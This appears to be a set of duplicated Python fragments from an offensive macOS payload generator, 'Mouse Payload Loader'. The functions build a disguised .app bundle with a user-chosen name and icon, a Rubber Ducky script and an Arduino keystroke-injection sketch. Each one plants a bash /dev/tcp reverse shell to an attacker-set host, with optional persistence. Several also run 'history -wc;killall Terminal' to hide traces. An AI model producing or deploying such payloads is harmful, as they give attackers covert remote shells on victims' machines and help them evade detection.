def choose_payload(self): print(h.WHITE+"-"*40+h.ENDC) print("Payloads:\n") number_option = 1 for key in self.payloads: payload = self.payloads[key] self.print_payload(payload,number_option) number_option += 1 print("") while 1: try: # choose payload option = input(h.info_general_raw("Choose an payload> ")) if not option: continue selected_payload = self.payloads[list(self.payloads.keys())[int(option) - 1]] # set host and port self.server.set_host_port() # generate payload selected_payload.run(self.server) #run self.prompt_run_server() break except KeyboardInterrupt: break except Exception as e: print(e) break
def choose_payload(self): print h.WHITE + "-" * 40 + h.ENDC print "Payload:\n" number_option = 1 for key in self.payloads: payload = self.payloads[key] self.print_payload(payload, number_option) number_option += 1 print "" while 1: try: # choose payload option = raw_input(h.info_general_raw(" '1' To Proceed --> ")) if not option: continue selected_payload = self.payloads[self.payloads.keys()[ int(option) - 1]] server.set_host_port() selected_payload.run(server) self.prompt_run_server() break except KeyboardInterrupt: print "Damn!!" break except Exception as e: print e break
def run(self, server): while 1: name = raw_input(h.info_general_raw("Application Name> ")) icon = raw_input(h.info_general_raw("Application Icon> ")) persistence = raw_input( h.info_general_raw("Make Persistent? (y/N): ")).lower() if persistence == "y": shell_command = "while true; do $(bash &> /dev/tcp/" + str( server.host) + "/" + str( server.port) + " 0>&1); sleep 5; done & " break elif persistence == "n" or not persistence: shell_command = "bash &> /dev/tcp/" + str( server.host) + "/" + str(server.port) + " 0>&1;" break else: h.info_error("invalid option: " + persistence) if os.path.exists("payloads") == False: os.mkdir("payloads") if os.path.exists("payloads/macos_application") == False: os.mkdir("payloads/macos_application") os.system(""" cp -r resources/payload.app payloads/macos_application mv payloads/macos_application/payload.app payloads/macos_application/""" + name + """.app mv """ + icon + """ payloads/macos_application/""" + name + """.app/Contents/Resources/payload.icns """) payload_save_path = "payloads/macos_application/" + name + ".app/Contents/MacOS/payload.sh" sas = "payloads/macos_application/" + name + ".app" payload = """\ #! /usr/bin/env bash """ + shell_command + """ """ f = open(payload_save_path, "w") f.write(payload) f.close() h.info_general("Payload saved to " + sas) os.system("chmod +x payloads/macos_application/" + name + ".app/Contents/MacOS/payload.sh")
def choose_payload(self): os.system("clear") print( h.ENDC + """ _ __,..---""-._ ';-, , _/_),-"` '-. `\\\\ \|.-"` -_) '. || /` a , \ .'/ '.___,__/ .-' \_ _.-'.' |\ \ \ /` _`------`_.-' _/;--._, > | --.__/ `------` (((-' __//`'-......-;\ ) (((-' __// '--. / mouse/MPL (((-' __// (((-' """ + h.WHITE + "Mouse Payload Loader" + h.GREEN_THIN + " v1.6" + h.WHITE + "\nDeveloped by Entynetproject" + h.ENDC) print(h.WHITE + "-" * 27) print("") number_option = 1 for key in self.payloads: payload = self.payloads[key] self.print_payload(payload, number_option) number_option += 1 print "" while 1: try: # choose payload option = raw_input(h.info_general_raw("Choose Payload> ")) if not option: continue selected_payload = self.payloads[self.payloads.keys()[ int(option) - 1]] # set host and port self.server.set_host_port() # generate payload selected_payload.run(self.server) #run self.prompt_run_server() break except KeyboardInterrupt: break except Exception as e: print e break
def run(self, server): while 1: persistence = raw_input( h.info_general_raw("Make Persistent? (y/N): ")).lower() if persistence == "y": shell_command = "while true; do $(bash &> /dev/tcp/" + str( server.host) + "/" + str( server.port) + " 0>&1); sleep 5; done & " shell_clean = "history -wc;killall Terminal" break elif persistence == "n" or not persistence: shell_command = "bash &> /dev/tcp/" + str( server.host) + "/" + str(server.port) + " 0>&1;" shell_clean = "history -wc;killall Terminal" break else: h.info_error("invalid option: " + persistence) shell_command += "history -wc;killall Terminal" if os.path.exists("payloads") == False: os.mkdir("payloads") if os.path.exists("payloads/rubber_duck") == False: os.mkdir("payloads/rubber_duck") payload_save_path = "payloads/rubber_duck/payload.txt" payload = """\ DELAY 500 COMMAND SPACE DELAY 500 STRING terminal DELAY 500 ENTER DELAY 500 STRING """ + shell_command + """ DELAY 500 ENTER DELAY 500 """ f = open(payload_save_path, "w") f.write(payload) f.close() h.info_general("Payload saved to " + payload_save_path)
def run(self, server): while 1: persistence = raw_input( h.info_general_raw("Make Persistent? (y/N): ")).lower() if persistence == "y": shell_command = "while true; do $(bash &> /dev/tcp/" + str( server.host) + "/" + str( server.port) + " 0>&1); sleep 5; done & " break elif persistence == "n" or not persistence: shell_command = "bash &> /dev/tcp/" + str( server.host) + "/" + str(server.port) + " 0>&1;" break else: h.info_error("invalid option: " + persistence) shell_command += "history -wc;killall Terminal" if os.path.exists("payloads") == False: os.mkdir("payloads") if os.path.exists("payloads/entynet_pi") == False: os.mkdir("payloads/entynet_pi") payload_save_path = "payloads/entynet_pi/payload.ino" payload = """\ #include "Keyboard.h" const int LED = 13; void setup() { pinMode(LED, OUTPUT); Serial.begin(9600); delay(1000); //delay to establish connection Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_SPACE); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(200); Keyboard.print("terminal"); delay(1000); keyEnter(); delay(1000); Keyboard.print(\"""" + shell_command + """\"); keyEnter(); } void keyEnter() { Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); //release Keyboard.set_key1(0); Keyboard.send_now(); } void loop() { digitalWrite(LED, HIGH); delay(100); digitalWrite(LED, LOW); delay(100); }""" f = open(payload_save_path, "w") f.write(payload) f.close() h.info_general("Payload saved to " + payload_save_path)
def get_handle(self): """Interact with an active session""" if self.needs_refresh: return h.info_general_raw("Waiting for connection...") return h.GREEN + self.hostname + ":" + h.UNDERLINE_GREEN + self.current_directory + h.ENDC + " " + h.GREEN + self.username + "> " + h.ENDC
def get_handle(self): """Interact With An Active Session!""" if self.needs_refresh: return h.info_general_raw("Waiting For Connection To Establish...") return h.GREEN + self.hostname + ":" + h.UNDERLINE_GREEN + self.current_directory + h.ENDC + " " + h.GREEN + self.username + "> " + h.ENDC